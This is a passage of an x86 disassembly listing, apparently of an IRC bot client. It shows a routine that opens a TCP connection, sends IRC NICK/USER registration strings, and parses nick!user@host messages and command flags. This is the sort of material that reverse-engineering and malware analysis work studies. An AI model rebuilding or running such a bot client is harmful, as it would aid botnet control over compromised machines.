2Ch retn sub_40F6C0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 180h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FE30 proc near ; CODE XREF: sub_402149j var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43A7A3 push eax mov eax, 2478h mov large fs:0, esp call sub_437B30 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_40142E mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411200 loc_40FE72: ; CODE XREF: sub_40FE30+13CAj mov al, byte_4E8E44 mov edi, dword_5118AC cmp al, bl jz loc_411200 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FE9A cmp dword ptr [ebp+1Ch], 5 jg short loc_40FEA4 cmp eax, ebx jz loc_40FFDE loc_40FE9A: ; CODE XREF: sub_40FE30+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_40FFDE loc_40FEA4: ; CODE XREF: sub_40FE30+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FEB9 push eax nop call near ptr 71AB9639h loc_40FEB9: ; CODE XREF: sub_40FE30+80j mov ecx, offset word_44AC5E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401541 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401983 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_40FEE9 mov [ebp+20h], ebx loc_40FEE9: ; CODE XREF: sub_40FE30+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_401474 mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_4493ED mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 1B6h push eax push offset dword_4493A4 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 push edx push offset dword_449280 call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 124h push ecx push offset word_449312 mov ecx, offset word_44ACD6 call sub_401F50 mov edx, [ebp+20h] mov ecx, esi push edx call sub_401474 mov eax, [eax] mov ecx, offset word_44ACD6 add eax, 0DBh push eax push offset byte_4492C9 call sub_401F50 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_401474 mov edx, [eax] mov ecx, offset word_44ACD6 add edx, 92h push edx push offset byte_44935B call sub_401F50 mov eax, [ebp+20h] mov ecx, esi push eax call sub_401474 mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_44947F mov ecx, offset word_44ACD6 call sub_401F50 call edi mov [ebp+24h], eax loc_40FFDE: ; CODE XREF: sub_40FE30+64j ; sub_40FE30+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410008 push 6 push 1 push 2 nop call near ptr 71AB3B91h push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2830386h jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410008: ; CODE XREF: sub_40FE30+1B4j cmp [ebp+15h], bl jnz loc_410198 mov ax, word_44932C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx nop call near ptr 71AB2B66h mov ecx, offset byte_4492C9 mov [esp+24h+arg_1E], ax call sub_4017EE push eax call sub_40188E add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_410088 push 2710h nop call near ptr 2830386h mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410088: ; CODE XREF: sub_40FE30+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h nop call near ptr 71AB951Eh mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call near ptr byte_5F285B add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015E1 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_448F30 mov ecx, offset byte_44935B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410157 mov ecx, offset byte_44935B call sub_4017EE mov edx, dword_4490DC push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h loc_410157: ; CODE XREF: sub_40FE30+305j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490E4 push eax mov ecx, offset byte_4E8E45 call sub_4017EE mov ecx, dword_4490E0 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E24 add esp, 1Ch jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410198: ; CODE XREF: sub_40FE30+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_4111F0 nop call near ptr 27E0C7Ah lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CD0 lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A9B push offset asc_444600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E8 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_410270 push offset asc_444600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset dword_4493A4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410274 loc_410270: ; CODE XREF: sub_40FE30+3EAj mov [esp+20h+var_D], bl loc_410274: ; CODE XREF: sub_40FE30+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410296 mov byte ptr [ebp+16h], 1 jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410296: ; CODE XREF: sub_40FE30+45Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490BC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl push 1 jz short loc_410334 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410462 ; --------------------------------------------------------------------------- loc_410334: ; CODE XREF: sub_40FE30+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016B8 mov ecx, dword_4490C0 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz loc_4104A0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4111F7 push offset asc_444600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490D8 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410467 push offset asc_444600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017EE push eax mov eax, dword_4490D8 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410462: ; CODE XREF: sub_40FE30+4FFj call sub_401226 loc_410467: ; CODE XREF: sub_40FE30+5E6j cmp [ebp+16h], bl jnz loc_4111F7 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov ecx, dword_4490C4 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_4104A0: ; CODE XREF: sub_40FE30+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F8 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410522 push offset asc_444600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490FC mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410527 loc_410522: ; CODE XREF: sub_40FE30+69Bj mov [esp+20h+var_D], 1 loc_410527: ; CODE XREF: sub_40FE30+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410594 cmp [ebp+16h], bl jnz short loc_410570 mov ecx, offset byte_4493ED call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h loc_410570: ; CODE XREF: sub_40FE30+713j mov ecx, offset byte_4E8E45 call sub_4017EE push eax mov eax, dword_4490CC push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E24 add esp, 10h jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410594: ; CODE XREF: sub_40FE30+70Ej push offset asc_444600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D4 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_444600 ; " " cmp al, bl jz short loc_410645 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014DD push eax call near ptr 77C47C60h nop add esp, 8 cmp eax, ebx jz short loc_41062D inc eax lea ecx, [ebp+28h] push eax call sub_4015E1 loc_41062D: ; CODE XREF: sub_40FE30+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410645: ; CODE XREF: sub_40FE30+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov edx, dword_4490D0 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_410680 mov al, byte_449804 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_410684 loc_410680: ; CODE XREF: sub_40FE30+840j mov [esp+20h+var_D], bl loc_410684: ; CODE XREF: sub_40FE30+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410991 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_4106E2 mov ecx, eax call sub_402072 loc_4106E2: ; CODE XREF: sub_40FE30+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41070E mov ecx, eax call sub_4010BE loc_41070E: ; CODE XREF: sub_40FE30+8D5j push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401AAF push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_41097C loc_41076F: ; CODE XREF: sub_40FE30+B46j push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_410797 mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410799 ; --------------------------------------------------------------------------- loc_410797: ; CODE XREF: sub_40FE30+95Aj xor esi, esi loc_410799: ; CODE XREF: sub_40FE30+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4107CB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4107CF ; --------------------------------------------------------------------------- loc_4107CB: ; CODE XREF: sub_40FE30+98Cj mov [esp+20h+var_C], ebx loc_4107CF: ; CODE XREF: sub_40FE30+999j push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013ED test eax, eax jz short loc_4107F2 mov byte ptr [esi+93h], 1 jmp short loc_4107F8 ; --------------------------------------------------------------------------- loc_4107F2: ; CODE XREF: sub_40FE30+9B7j mov [esi+93h], bl loc_4107F8: ; CODE XREF: sub_40FE30+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410813 mov byte ptr [esi+94h], 1 jmp short loc_410819 ; --------------------------------------------------------------------------- loc_410813: ; CODE XREF: sub_40FE30+9D8j mov [esi+94h], bl loc_410819: ; CODE XREF: sub_40FE30+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410834 mov byte ptr [esi+95h], 1 jmp short loc_41083A ; --------------------------------------------------------------------------- loc_410834: ; CODE XREF: sub_40FE30+9F9j mov [esi+95h], bl loc_41083A: ; CODE XREF: sub_40FE30+A02j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FDC lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_448F30 lea ecx, [esi+54h] call sub_4015E1 push offset byte_448F30 lea ecx, [esi+3Fh] call sub_4015E1 push offset asc_444600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FDC lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4445EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017EE push eax mov ecx, esi call sub_4015E1 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DFC cmp esi, ebx jz short loc_410929 push 1 mov ecx, esi call sub_4019E2 loc_410929: ; CODE XREF: sub_40FE30+AEEj mov ecx, [esp+20h+var_C] call sub_4013DE inc edi push offset asc_4445EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41076F loc_41097C: ; CODE XREF: sub_40FE30+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410991: ; CODE XREF: sub_40FE30+86Bj push offset asc_444600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490C8 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410CAB push 96h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410A0B mov ecx, eax call sub_402072 mov esi, eax jmp short loc_410A0D ; --------------------------------------------------------------------------- loc_410A0B: ; CODE XREF: sub_40FE30+BCEj xor esi, esi loc_410A0D: ; CODE XREF: sub_40FE30+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410A3C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410A3E ; --------------------------------------------------------------------------- loc_410A3C: ; CODE XREF: sub_40FE30+BFFj xor edi, edi loc_410A3E: ; CODE XREF: sub_40FE30+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013ED test eax, eax jz short loc_410A60 mov byte ptr [esi+95h], 1 jmp short loc_410A66 ; --------------------------------------------------------------------------- loc_410A60: ; CODE XREF: sub_40FE30+C25j mov [esi+95h], bl loc_410A66: ; CODE XREF: sub_40FE30+C2Ej push offset aS_2 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410A81 mov byte ptr [esi+93h], 1 jmp short loc_410A87 ; --------------------------------------------------------------------------- loc_410A81: ; CODE XREF: sub_40FE30+C46j mov [esi+93h], bl loc_410A87: ; CODE XREF: sub_40FE30+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013ED test eax, eax jz short loc_410AA2 mov byte ptr [esi+94h], 1 jmp short loc_410AA8 ; --------------------------------------------------------------------------- loc_410AA2: ; CODE XREF: sub_40FE30+C67j mov [esi+94h], bl loc_410AA8: ; CODE XREF: sub_40FE30+C70j push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016B8 push offset asc_444C58 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016B8 push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FDC lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C58 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset a@ ; "@" lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016B8 push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FDC lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset a@ ; "@" lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016B8 push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FDC mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FDC lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_444C54 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410C7D add eax, 2 push eax jmp short loc_410C82 ; --------------------------------------------------------------------------- loc_410C7D: ; CODE XREF: sub_40FE30+E45j push offset byte_448F30 loc_410C82: ; CODE XREF: sub_40FE30+E4Bj mov ecx, esi call sub_4015E1 push ebx push esi mov ecx, edi call sub_401DFC cmp esi, ebx jz short loc_410C9F push 1 mov ecx, esi call sub_4019E2 loc_410C9F: ; CODE XREF: sub_40FE30+E64j mov ecx, edi call sub_4013DE jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410CAB: ; CODE XREF: sub_40FE30+BADj push offset asc_444600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490EC mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410E80 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push edx call sub_4016B8 mov ecx, offset word_44AC5E call sub_401CE4 cmp eax, ebx jz short loc_410D72 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_444600 ; " " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC5E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410D72: ; CODE XREF: sub_40FE30+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E45 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4111F7 push offset asc_444C64 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493ED mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493A4 call sub_4017EE mov edx, dword_4490C4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4111F7 ; --------------------------------------------------------------------------- loc_410E80: ; CODE XREF: sub_40FE30+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490E0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411038 push offset asc_444C64 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C58 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call 